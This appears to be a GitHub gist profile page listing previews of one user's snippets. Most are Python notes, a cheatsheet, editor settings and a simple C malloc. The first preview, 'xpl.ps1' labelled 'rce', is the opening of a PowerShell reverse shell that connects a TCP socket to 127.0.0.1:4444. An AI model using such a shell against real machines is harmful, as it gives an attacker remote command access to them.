Skip to content

Instantly share code, notes, and snippets.

View IdanBanani's full-sized avatar

Idan BananI IdanBanani

View GitHub Profile
@IdanBanani
IdanBanani / xpl.ps1
Created February 11, 2022 16:37
rce
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 4444);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
@IdanBanani
IdanBanani / notes.py
Created May 28, 2020 20:06
some notes i've found
# -*- coding: utf-8 -*-
# To list this file sections: $ grep '^"" ' notes.py
"""""""""""""
"" Why Python ?
"""""""""""""
- extremely readable (cf. zen of Python + [this 2013 study](http://redmonk.com/dberkholz/2013/03/25/programming-languages-ranked-by-expressiveness/))
- simple & fast to write
- very popular (taught in many universities)
- has an extremely active development community
from enum import Enum
class VehicleType(Enum):
CAR, TRUCK, ELECTRIC, VAN, MOTORBIKE = 1, 2, 3, 4, 5
class ParkingSpotType(Enum):
HANDICAPPED, COMPACT, LARGE, MOTORBIKE, ELECTRIC = 1, 2, 3, 4, 5
@IdanBanani
IdanBanani / settings.json
Created May 19, 2020 12:32
need to be fixed - vscode settings
{
"code-runner.clearPreviousOutput": true,
"code-runner.showExecutionMessage": false,
"code-runner.ignoreSelection": true,
"code-runner.runInTerminal": true,
"code-runner.saveFileBeforeRun": true,
"diffEditor.renderSideBySide": true,
"debug.console.fontFamily": "Source Code Pro",
"debug.console.fontSize": 22,
"enableTelemetry": true,

Some Info

Script typically has #! at front (usually called hash bang like what it is like in Perl)

  • in UNIX like system, chmod +x myscript.py and include a #! in the file would make it executable scripting
  • #!/usr/local/bin/python
  • UNIX Python path look-up trick: can also use #!/usr/bin/env python to let the system finds the path for you

Some Special Reserved Words

  • Single underscore ‘_’ contains the last evaluated value
    • a = 3 a _ #gives 3 notice must explicitly call a, then call _
@IdanBanani
IdanBanani / cheatsheet.py
Created April 30, 2020 19:30 — forked from fuyufjh/cheatsheet.py
My Python Cheatsheet
Python Cheatsheet
=================
################################ Input & Output ###############################
name = input('please enter your name: ')
print('hello,', name)
ageStr = input('please enter your age: ')
age = int(ageStr)
@IdanBanani
IdanBanani / mymalloc.c
Last active January 6, 2023 13:28
Basic / simple malloc implementation (C) - the real ones are quite complex so I don't like the idea of asking it in interviews. possible improvement : change size_t* header to void*
//#include <stdio.h>
#include <stddef.h>
//#include <stdint.h>
//#include <inttypes.h>
#include <math.h>
#include <limits.h>
#define ALIGNMENT 8 // must be a power of 2
#define ALIGN(size) (((size) + (ALIGNMENT-1)) & ~(ALIGNMENT-1))